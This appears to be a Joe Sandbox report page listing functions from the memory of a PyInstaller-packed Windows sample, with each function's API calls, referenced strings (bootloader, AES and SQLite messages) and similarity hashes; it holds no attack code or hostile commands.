Function 00007FF6929F71F0 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 493COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6929F7233
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6929F7620
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6929F78BC

Strings

p, xrefs: 00007FF6929F72E5
p, xrefs: 00007FF6929F735D
:, xrefs: 00007FF6929F73EC
-, xrefs: 00007FF6929F72C9
f, xrefs: 00007FF6929F7355

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$:$f$p$p
API String ID: 3215553584-2013873522
Opcode ID: 65d4a0ffdc8e7253b8e60b637b85ac8f97459ea152ba9c8238927d2e88e0f15e
Instruction ID: 9a6eadcb6ae093eb712ad625f0c138b6965f36e8c25fd91f87f95c62306f9ca5
Opcode Fuzzy Hash: 65d4a0ffdc8e7253b8e60b637b85ac8f97459ea152ba9c8238927d2e88e0f15e
Instruction Fuzzy Hash: 4612B162E0C24386FBB49A16E0446FB7792FB40758F944575F689866C6DFBCEC80EB10

Function 00007FF6929F0540 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6929F0580
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6929F0948
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6929F0BE7

Strings

p, xrefs: 00007FF6929F0625
f, xrefs: 00007FF6929F07CD
f, xrefs: 00007FF6929F0682
p, xrefs: 00007FF6929F068A
f, xrefs: 00007FF6929F0618

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: fc8e2330ab6ced16bd3d959f6bc8057a9fc686b659d09149717256120edd57c1
Instruction ID: b3b56afbaffe4d39f8953bb67af4295e7260b8cbd91440cfad5d1c89ba863d21
Opcode Fuzzy Hash: fc8e2330ab6ced16bd3d959f6bc8057a9fc686b659d09149717256120edd57c1
Instruction Fuzzy Hash: CD12B122A0E14386FBB05F16E0546FB7759FB40758F944175F689866CAEFBDEC80AB00

Function 00007FF8B78327E0 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 152COMMON

Download Yara Rule

APIs

_wassert.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B783285E
memcpy.VCRUNTIME140 ref: 00007FF8B783288B
_wassert.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF8B78328E4

Strings

((Nk==4) && (Nr==10)) || ((Nk==6) && (Nr==12)) || ((Nk==8) && (Nr==14)), xrefs: 00007FF8B7832857
(idx>=1) && (idx<=10), xrefs: 00007FF8B78328DD, 00007FF8B7832A0A
src/AESNI.c, xrefs: 00007FF8B7832850
src/AESNI.c, xrefs: 00007FF8B78328D6, 00007FF8B7832A03

Memory Dump Source

Source File: 00000003.00000002.2146816229.00007FF8B7831000.00000020.00000001.01000000.0000001F.sdmp, Offset: 00007FF8B7830000, based on PE: true

Associated: 00000003.00000002.2146783438.00007FF8B7830000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 00000003.00000002.2146845733.00007FF8B7833000.00000002.00000001.01000000.0000001F.sdmpDownload File
Associated: 00000003.00000002.2146872045.00007FF8B7834000.00000004.00000001.01000000.0000001F.sdmpDownload File
Associated: 00000003.00000002.2146889398.00007FF8B7835000.00000002.00000001.01000000.0000001F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8b7830000_LIccs3x2LZ.jbxd

Similarity

API ID: _wassert$memcpy
String ID: ((Nk==4) && (Nr==10)) || ((Nk==6) && (Nr==12)) || ((Nk==8) && (Nr==14))$(idx>=1) && (idx<=10)$src/AESNI.c$src/AESNI.c
API String ID: 4292997394-722309440
Opcode ID: df7db3d763f643e49d84a68501879389ae637122b5467978ed23ef449be1bccf
Instruction ID: 1999b3c00428fd89212ddd02f5af76985b378106eee5dc18c998c736151cbda3
Opcode Fuzzy Hash: df7db3d763f643e49d84a68501879389ae637122b5467978ed23ef449be1bccf
Instruction Fuzzy Hash: 3861CF72B48B8682EA218B2DE4442BD7B51FB9C784F524631EB4D6B220DF3CE684C744

Function 00007FF8A89A09C0 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 135COMMON

Download Yara Rule

APIs

new[].MSPDB140-MSVCRT ref: 00007FF8A89A0AD7

Strings

%s%c%s, xrefs: 00007FF8A89A0A36
:, xrefs: 00007FF8A89A0A2C
winFullPathname2, xrefs: 00007FF8A89A0B45
winFullPathname1, xrefs: 00007FF8A89A0ABC
?, xrefs: 00007FF8A89A0A01
:, xrefs: 00007FF8A89A09F1
\, xrefs: 00007FF8A89A0A48

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: new[]
String ID: %s%c%s$:$:$?$\$winFullPathname1$winFullPathname2
API String ID: 4059295235-3840279414
Opcode ID: c745737df29ddded9937e61b5a052c3fed7a094e9a5f8342598aaab6849206d0
Instruction ID: 9a9bf2ecab01ba861ee173aacde4c273a23d46af8e5e8a66f980b871f1c377ba
Opcode Fuzzy Hash: c745737df29ddded9937e61b5a052c3fed7a094e9a5f8342598aaab6849206d0
Instruction Fuzzy Hash: DD51F512E0FB82A9FB149B61940D67AA691EF84BC9F4C0031DD4E03692DF3CE546C32D

Function 00007FF6929E1030 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 119COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to open archive file!, xrefs: 00007FF6929E1078
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF6929E10AC
fread, xrefs: 00007FF6929E11DD
malloc, xrefs: 00007FF6929E10EF
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF6929E11D6
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF6929E10E8
fseek, xrefs: 00007FF6929E10B3

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2050909247-3659356012
Opcode ID: 0201757f728f997c8ac129a28a012b3b3b363b74c6f178e451c7130f6dced57d
Instruction ID: 50a676dde04b5887f9b674234a670e2b36923f38d069af54a4e8ca91323dfbcd
Opcode Fuzzy Hash: 0201757f728f997c8ac129a28a012b3b3b363b74c6f178e451c7130f6dced57d
Instruction Fuzzy Hash: 26416D32B0865292FB20EB1398446BA6391FF55BCCF9484B2ED0D87797DEBCE9058740

Function 00007FF6929E7AB0 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 116COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(FFFFFFFF,00000000,?,00007FF6929E3101), ref: 00007FF6929E7B54
GetCurrentProcessId.KERNEL32(?,00007FF6929E3101), ref: 00007FF6929E7B5A
CreateDirectoryW.KERNEL32(?,00007FF6929E3101), ref: 00007FF6929E7B9C

Part of subcall function 00007FF6929E7C80: GetEnvironmentVariableW.KERNEL32(00007FF6929E2C4F), ref: 00007FF6929E7CB7
Part of subcall function 00007FF6929E7C80: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF6929E7CD9

Part of subcall function 00007FF6929F9114: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6929F912D

Strings

_MEI%d, xrefs: 00007FF6929E7B62
LOADER: failed to set the TMP environment variable., xrefs: 00007FF6929E7B2C
TMP, xrefs: 00007FF6929E7B12
TMP, xrefs: 00007FF6929E7AEC, 00007FF6929E7BF3
LOADER: length of teporary directory path exceeds maximum path length!, xrefs: 00007FF6929E7BCE

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: Environment$CreateCurrentDirectoryExpandPathProcessStringsTempVariable_invalid_parameter_noinfo
String ID: LOADER: failed to set the TMP environment variable.$LOADER: length of teporary directory path exceeds maximum path length!$TMP$TMP$_MEI%d
API String ID: 365913792-1339014028
Opcode ID: 0b7106e53a59b885b71282d5bf7b2d384c2ec8899f614a01c4be9d4eae8258ae
Instruction ID: 3503bae8af88790dae1227bea7c25796345834dc20e48740583a2f769c6ded63
Opcode Fuzzy Hash: 0b7106e53a59b885b71282d5bf7b2d384c2ec8899f614a01c4be9d4eae8258ae
Instruction Fuzzy Hash: 16419E32A1964251FB70EB27A8592FA1391FF85788F4440B1ED0DC7797EEBCE9058241

Function 00007FF6929EDF38 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 310COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF6929EDF95

Part of subcall function 00007FF6929EEEEC: __GetUnwindTryBlock.LIBCMT ref: 00007FF6929EEF2F
Part of subcall function 00007FF6929EEEEC: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF6929EEF54

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF6929EE06D
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF6929EE2BB
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6929EE3C8

Strings

csm, xrefs: 00007FF6929EDFAF
csm, xrefs: 00007FF6929EE090
csm, xrefs: 00007FF6929EE016

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: a729206dc09f3ae888f69fb8db1d25833570b00ee2d7cb806a54919031002ad3
Instruction ID: cc2fc03479b4a90c683319c034471e47926c3c99b12d04323d71e2cffa7b18f0
Opcode Fuzzy Hash: a729206dc09f3ae888f69fb8db1d25833570b00ee2d7cb806a54919031002ad3
Instruction Fuzzy Hash: 4DD16A32A086418AFB309F66A4403BD77A4FB557ACF140175EE8D97B96DF78E581C700

Function 00007FF8A89ECFA0 Relevance: 12.3, APIs: 5, Strings: 3, Instructions: 257COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF8A89ED0B4
memmove.VCRUNTIME140 ref: 00007FF8A89ED0C2
memmove.VCRUNTIME140 ref: 00007FF8A89ED161
memmove.VCRUNTIME140 ref: 00007FF8A89ED181
memmove.VCRUNTIME140 ref: 00007FF8A89ED2A9

Strings

"%w", xrefs: 00007FF8A89ED006
string or blob too big, xrefs: 00007FF8A89ED246
-, xrefs: 00007FF8A89ED296

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memmove$memset
String ID: "%w"$-$string or blob too big
API String ID: 3790616698-2697582541
Opcode ID: 723dfb81ac0734522250e16b2b8ea80b49e63c7c372a92a2ff903d817f0123e7
Instruction ID: b92091c01b8b5ac767017bd65623074702953c71e4515fe335a8eb94528a3147
Opcode Fuzzy Hash: 723dfb81ac0734522250e16b2b8ea80b49e63c7c372a92a2ff903d817f0123e7
Instruction Fuzzy Hash: DFB1CF62B0BB8296EA148F1AD4083396BA0FF84FC5F488435DE4E07795EF3CE4518368

Function 00007FF8A8A86870 Relevance: 10.9, APIs: 5, Strings: 2, Instructions: 374COMMON

Download Yara Rule

Strings

unrecognized matchinfo request: %c, xrefs: 00007FF8A8A869EC
string or blob too big, xrefs: 00007FF8A8A86E1C

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID:
String ID: string or blob too big$unrecognized matchinfo request: %c
API String ID: 0-2930326682
Opcode ID: c244c09a54c7530c521488fd37c43fdbe71d3e7ef1a6efaf9eb4f691a78c7a4a
Instruction ID: 6181a678060830324890c951efaf9826e8d85b67f1f646ee929c63a51043c8b9
Opcode Fuzzy Hash: c244c09a54c7530c521488fd37c43fdbe71d3e7ef1a6efaf9eb4f691a78c7a4a
Instruction Fuzzy Hash: A6F1C072A0B686AAFB648B15A04A3B977A0FB407C4F488035CB5D07691EF3CF454C72A

Function 00007FF8A8A260F0 Relevance: 10.8, APIs: 1, Strings: 6, Instructions: 337COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF8A8A26347

Strings

circular reference: %s, xrefs: 00007FF8A8A263C7
'%s' is not a function, xrefs: 00007FF8A8A26218
multiple recursive references: %s, xrefs: 00007FF8A8A265C8
multiple references to recursive table: %s, xrefs: 00007FF8A8A2650A
recursive reference in a subquery: %s, xrefs: 00007FF8A8A265C1
table %s has %d values for %d columns, xrefs: 00007FF8A8A2658B

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memmove
String ID: '%s' is not a function$circular reference: %s$multiple recursive references: %s$multiple references to recursive table: %s$recursive reference in a subquery: %s$table %s has %d values for %d columns
API String ID: 2162964266-482854700
Opcode ID: 31afc9e3eb39f0710433c5ff52982b74db985ff42e696794110627925793a3b7
Instruction ID: 4d439d24a7c46032c1f4191992bbad1878e3500e290d47a80402c108bb5ff407
Opcode Fuzzy Hash: 31afc9e3eb39f0710433c5ff52982b74db985ff42e696794110627925793a3b7
Instruction Fuzzy Hash: 55E1CA72A0B682A6EB608B119505BB937A0FB54BC4F458136DE8D037A5FF38F450C32A

Function 00007FF8A89B6470 Relevance: 10.8, APIs: 4, Strings: 3, Instructions: 269COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF8A89B654A

Strings

1b256d97b553a9611efca188a3d995a2fff712759044ba480f9a0c9e98fae886, xrefs: 00007FF8A89B64CA, 00007FF8A89B67EC
%s at line %d of [%.10s], xrefs: 00007FF8A89B64E3, 00007FF8A89B6805
database corruption, xrefs: 00007FF8A89B64D7, 00007FF8A89B67F9

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memmove
String ID: %s at line %d of [%.10s]$1b256d97b553a9611efca188a3d995a2fff712759044ba480f9a0c9e98fae886$database corruption
API String ID: 2162964266-1728192754
Opcode ID: 16836adfde53b5849aea095965288d33b968d9039d4db7ec59d07e33213ee626
Instruction ID: 861e9ab90f03f203d0d65cfbed9ed58c08d72db80770526ab179c4cc5159d6cc
Opcode Fuzzy Hash: 16836adfde53b5849aea095965288d33b968d9039d4db7ec59d07e33213ee626
Instruction Fuzzy Hash: 9FB1EE72A0A7959AD7619B56A08CABAB7A4FB84BC5F050039EE4D43B85EF38E400C754

Function 00007FF8A89B8ED0 Relevance: 10.7, APIs: 4, Strings: 3, Instructions: 206COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF8A89B9164

Strings

1b256d97b553a9611efca188a3d995a2fff712759044ba480f9a0c9e98fae886, xrefs: 00007FF8A89B8F7F
%s at line %d of [%.10s], xrefs: 00007FF8A89B8F9F
database corruption, xrefs: 00007FF8A89B8F98

Memory Dump Source

Source File: 00000003.00000002.2145502993.00007FF8A8991000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8A8990000, based on PE: true

Associated: 00000003.00000002.2145478532.00007FF8A8990000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145698132.00007FF8A8AC1000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145743451.00007FF8A8AED000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000003.00000002.2145766945.00007FF8A8AF1000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8990000_LIccs3x2LZ.jbxd

Similarity

API ID: memmove
String ID: %s at line %d of [%.10s]$1b256d97b553a9611efca188a3d995a2fff712759044ba480f9a0c9e98fae886$database corruption
API String ID: 2162964266-1728192754
Opcode ID: bf9be37b9a50cdbdd7ba4972e489186195f2fc19228b905a799a8fd04ef20cc9
Instruction ID: e029e1d12b736d4d830d07d223270e369b1ad7ed03472fa49947aea8f5286491
Opcode Fuzzy Hash: bf9be37b9a50cdbdd7ba4972e489186195f2fc19228b905a799a8fd04ef20cc9
Instruction Fuzzy Hash: F081F262A0A2C16AD720CF2595882BEBBA0FB44BC5F0C8136DF8957785EF3CE555C724

Function 00007FF6929E2310 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 99windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,00007FF6929E2AC6,?,00007FF6929E2BC5), ref: 00007FF6929E2360
FormatMessageW.KERNEL32(?,?,?,?,?,?,?,?,00007FF6929E2AC6,?,00007FF6929E2BC5), ref: 00007FF6929E241A

Strings

<FormatMessageW failed.>, xrefs: 00007FF6929E2427
[PYI-%d:ERROR] , xrefs: 00007FF6929E2368
%ls, xrefs: 00007FF6929E2448
%ls: , xrefs: 00007FF6929E23D9

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: CurrentFormatMessageProcess
String ID: %ls$%ls: $<FormatMessageW failed.>$[PYI-%d:ERROR]
API String ID: 27993502-4247535189
Opcode ID: 5c54806743b5fc5ca5748e300e790daf69093409d5698ed67d8ea85ca9e7f6b1
Instruction ID: b87a1d6a80113459493ab93a92d4b51934ab86ae1d74b4bcf0ec2e2d21806f98
Opcode Fuzzy Hash: 5c54806743b5fc5ca5748e300e790daf69093409d5698ed67d8ea85ca9e7f6b1
Instruction Fuzzy Hash: 6D319E73B08A4141F730AB26A8106FA63A5FF85B9DF400176EE4DD7A5ADE7CE546C700

Function 00007FF6929ED1F8 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FF6929ED4AA,?,?,?,00007FF6929ED19C,?,?,?,00007FF6929ECD99), ref: 00007FF6929ED27D
GetLastError.KERNEL32(?,?,?,00007FF6929ED4AA,?,?,?,00007FF6929ED19C,?,?,?,00007FF6929ECD99), ref: 00007FF6929ED28B
LoadLibraryExW.KERNEL32(?,?,?,00007FF6929ED4AA,?,?,?,00007FF6929ED19C,?,?,?,00007FF6929ECD99), ref: 00007FF6929ED2B5
FreeLibrary.KERNEL32(?,?,?,00007FF6929ED4AA,?,?,?,00007FF6929ED19C,?,?,?,00007FF6929ECD99), ref: 00007FF6929ED323
GetProcAddress.KERNEL32(?,?,?,00007FF6929ED4AA,?,?,?,00007FF6929ED19C,?,?,?,00007FF6929ECD99), ref: 00007FF6929ED32F

Strings

api-ms-, xrefs: 00007FF6929ED29D

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: cfe7c3e8e36681254bad5299873ee692e307dc20b52bfdb0e9be079fe62a9b1d
Instruction ID: 9f817b6a5810d4c128bae9e6fd3466cdea3ccfb58ddef0a0fecdf953c8a1a92c
Opcode Fuzzy Hash: cfe7c3e8e36681254bad5299873ee692e307dc20b52bfdb0e9be079fe62a9b1d
Instruction Fuzzy Hash: E731E432B0AA4284FE32AB43A80067923D8FF49BA8F594575DD1DC7386DFBCE4458320

Function 00007FF6929E79C0 Relevance: 10.6, APIs: 7, Instructions: 63COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF6929E79E0
OpenProcessToken.ADVAPI32 ref: 00007FF6929E79F3
GetTokenInformation.ADVAPI32 ref: 00007FF6929E7A18
GetLastError.KERNEL32 ref: 00007FF6929E7A22
GetTokenInformation.ADVAPI32 ref: 00007FF6929E7A62
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF6929E7A7E
CloseHandle.KERNEL32 ref: 00007FF6929E7A96

Memory Dump Source

Source File: 00000003.00000002.2145280029.00007FF6929E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6929E0000, based on PE: true

Associated: 00000003.00000002.2145182088.00007FF6929E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145313777.00007FF692A0D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145342782.00007FF692A23000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2145440406.00007FF692A26000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff6929e0000_LIccs3x2LZ.jbxd

Similarity

API ID: Token$InformationProcess$CloseConvertCurrentErrorHandleLastOpenString
String ID:
API String ID: 995526605-0
Opcode ID: f9a13a78dda60d759a9be8972808970fbe631d6144480b65c4b9511590ea8a68
Instruction ID: 17b812c73b117ad5fe1e4f35c775c76404b6d42868a9f99b9fac1120e3ca6042
Opcode Fuzzy Hash: f9a13a78dda60d759a9be8972808970fbe631d6144480b65c4b9511590ea8a68
Instruction Fuzzy Hash: CC21D832A0CA4242FB209B16F44867EA7A1FF857A8F500275E66DC3AE5DFFCD5458700

Function 00007FF6929FBFF0 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF6929FBFFF
FlsGetValue.KERNEL32 ref: 00007FF6929FC014
